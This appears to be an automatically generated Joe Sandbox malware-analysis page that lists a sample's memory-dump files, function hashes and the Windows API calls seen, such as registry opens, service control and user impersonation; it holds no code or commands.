Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 67d12324973b98e114d8f157bef9c692a82b123a34c47f6ed095b67ba1e71c6f
Instruction ID: 7eacaf5b00b75c6be427bfea6c7ddabb4385de0d41cbc8f7236560aae579ed74
Opcode Fuzzy Hash: 67d12324973b98e114d8f157bef9c692a82b123a34c47f6ed095b67ba1e71c6f
Instruction Fuzzy Hash: 4B41BDF250C610AFE709AF19D98067AFBF9FF84720F26882DE9C583604D73548458BA3

Function 00D3B7DE Relevance: 1.3, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!!iH, xrefs: 00D3B94E

Memory Dump Source

Source File: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID:
String ID: !!iH
API String ID: 0-3430752988
Opcode ID: 392e5d50bea9a4a488a8e8e586562e91c4e38d10ccea8aa5619b238f6ee169d4
Instruction ID: 654794a6612af332449a9158c88f6c96cb251095618901bd5909d461989a1e17
Opcode Fuzzy Hash: 392e5d50bea9a4a488a8e8e586562e91c4e38d10ccea8aa5619b238f6ee169d4
Instruction Fuzzy Hash: 5DE0C2B16044858ACF16EF2088017AD770DDF40720F900127FB419AE85CB2D4C118BB5

Function 00EC8843 Relevance: 4.6, APIs: 3, Instructions: 96
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 00EC88A0
RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 00EC88C7
GetNativeSystemInfo.KERNELBASE(?), ref: 00EC891E

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: Open$InfoNativeSystem
String ID:
API String ID: 1247124224-0
Opcode ID: c3e9cd53d11f2772a181daf893be6e53c30029d5872b0ebeb411dd5b4877b557
Instruction ID: f106be0a032e00958011e84857444b0b65a5cd466deba72a596074c3d7782c24
Opcode Fuzzy Hash: c3e9cd53d11f2772a181daf893be6e53c30029d5872b0ebeb411dd5b4877b557
Instruction Fuzzy Hash: 124167B250410EDFEB14DF60CA48BEF3BA9EF58305F40152AE886D6940E7724CA6CF59

Function 051E0D42 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 051E0DCD

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: bd0916b0a3dc68c416b0f44fe6a5778bbe0f5c665d48cddcd49849361436fc78
Instruction ID: 8346c467d5d8f8d86136c6dfade9bbd1cafddedb4adf05a17eb04f76270634d6
Opcode Fuzzy Hash: bd0916b0a3dc68c416b0f44fe6a5778bbe0f5c665d48cddcd49849361436fc78
Instruction Fuzzy Hash: EC213CBAC006099FDB50CF99D588BDEFBF4FB88710F148119E908BB204D7746541CBA4

Function 051E0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 051E0DCD

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: dc47df69c5eea3cb88544b6b55de398cd5908346f8de849e33cf1336ced327b0
Instruction ID: e425540f032d2b4d2a272abd38ca2c83853951c9af12eb8e7c85a3ccf3060237
Opcode Fuzzy Hash: dc47df69c5eea3cb88544b6b55de398cd5908346f8de849e33cf1336ced327b0
Instruction Fuzzy Hash: FF2137BAC006099FCB50CF99D984BDEFBF4FB88710F14811AE908BB204D774A540CBA4

Function 051E1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 051E1580

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 42b6bf3424ce5dde83cb0733ebaf8d723f396f3d2782aeaabc9bddfa73b36f29
Instruction ID: 6266124ae143cf5d3ebc0f9da872ee29ea6436b9369fa0f7294086a5c01ae46f
Opcode Fuzzy Hash: 42b6bf3424ce5dde83cb0733ebaf8d723f396f3d2782aeaabc9bddfa73b36f29
Instruction Fuzzy Hash: 572103B69007499FDB10CF9AC584BDEFBF4EF48320F10842AE919A3240D778A645CFA5

Function 051E1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 051E1580

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 4f49fbaef8b8e79c0086cc9100335d523b3cabb61bc5c65632d52375a4431a3c
Instruction ID: 2807bae95f1490903e3bb9b9e2802b8c07737abf11123f697a815ee56979abea
Opcode Fuzzy Hash: 4f49fbaef8b8e79c0086cc9100335d523b3cabb61bc5c65632d52375a4431a3c
Instruction Fuzzy Hash: CB1103B29007499FDB10CF9AC584BDEFBF4EF48320F10802AE919A3240D378A645CFA5

Function 051E1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 051E1367

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 830c64ba40bd3bd8868541905ecd2e828df8df04b5fee016a4563319b03d1d16
Instruction ID: 9b47ba3e3503f4063b0ef0e7574bc7e450cca2e63f770b7bf7360838ba6395f0
Opcode Fuzzy Hash: 830c64ba40bd3bd8868541905ecd2e828df8df04b5fee016a4563319b03d1d16
Instruction Fuzzy Hash: E41125B1800749DFDB10CF9AD945BDEBBF4EF48320F20846AE518A3640D778A944CFA5

Function 051E1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 051E1367

Memory Dump Source

Source File: 00000005.00000002.2524890639.00000000051E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_51e0000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: ab930251776da78e11fe39942252736ca6f85a3c73e0be947e38c125bc60c40a
Instruction ID: 483cb0b1bf5ccae858ca491022fc1abbdd1e1a27d63aeda1c9c63dcd20a9a4ab
Opcode Fuzzy Hash: ab930251776da78e11fe39942252736ca6f85a3c73e0be947e38c125bc60c40a
Instruction Fuzzy Hash: 221125B1800749CFDB10CF9AC544BDEBBF4EB48320F20845AD518A3240D778A944CBA5

Function 00EBEEAF Relevance: 1.5, APIs: 1, Instructions: 35
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00EBEEC0

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FD3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522837316.0000000000FE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522854591.0000000000FE2000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d30000_HTUSFB9YFV610YTCBWQ47HFA41LN0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d37b7553448ebfcd4e53718390b3b22890793563f0805f0de6d68758f0c07fb9
Instruction ID: f6f80be793fba37dc5dc86e894a3e67c71ba19a1eb79e47943525fe35aedfaa8
Opcode Fuzzy Hash: d37b7553448ebfcd4e53718390b3b22890793563f0805f0de6d68758f0c07fb9
Instruction Fuzzy Hash: 0EF0B47291828A87CB51BF7094990FB7BE1DD55344B08286DD9D1E3313EA218C61CF45

Function 00EBEFB3 Relevance: 1.5, APIs: 1, Instructions: 17
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00EBF001

Memory Dump Source

Source File: 00000005.00000002.2522058195.0000000000EB7000.00000040.00000001.01000000.00000006.sdmp, Offset: 00D30000, based on PE: true

Associated: 00000005.00000002.2521849028.0000000000D30000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521885401.0000000000D36000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521906704.0000000000D3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2521926416.0000000000D46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522019877.0000000000EA5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522037667.0000000000EA8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522058195.0000000000EC3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522094701.0000000000ECD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522111789.0000000000ECF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522133520.0000000000EDF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522150212.0000000000EE0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522171906.0000000000EF6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522192645.0000000000F09000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522212335.0000000000F18000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522229781.0000000000F19000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522251834.0000000000F1A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522269934.0000000000F1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522290049.0000000000F2E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522306929.0000000000F31000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522324989.0000000000F32000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522348315.0000000000F36000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522366349.0000000000F3D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522385221.0000000000F3F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522401121.0000000000F46000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522417037.0000000000F48000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522434451.0000000000F53000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522451546.0000000000F55000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522470397.0000000000F56000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522486674.0000000000F5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522503062.0000000000F64000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522520466.0000000000F67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522536611.0000000000F68000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522551653.0000000000F70000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522665817.0000000000F80000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522686594.0000000000F82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522705153.0000000000F8D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522724951.0000000000F8E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522757443.0000000000FC9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522776333.0000000000FCA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2522797513.0000000000FCB000.00000080.00000001.01000000.00000006.sdmpDownload File
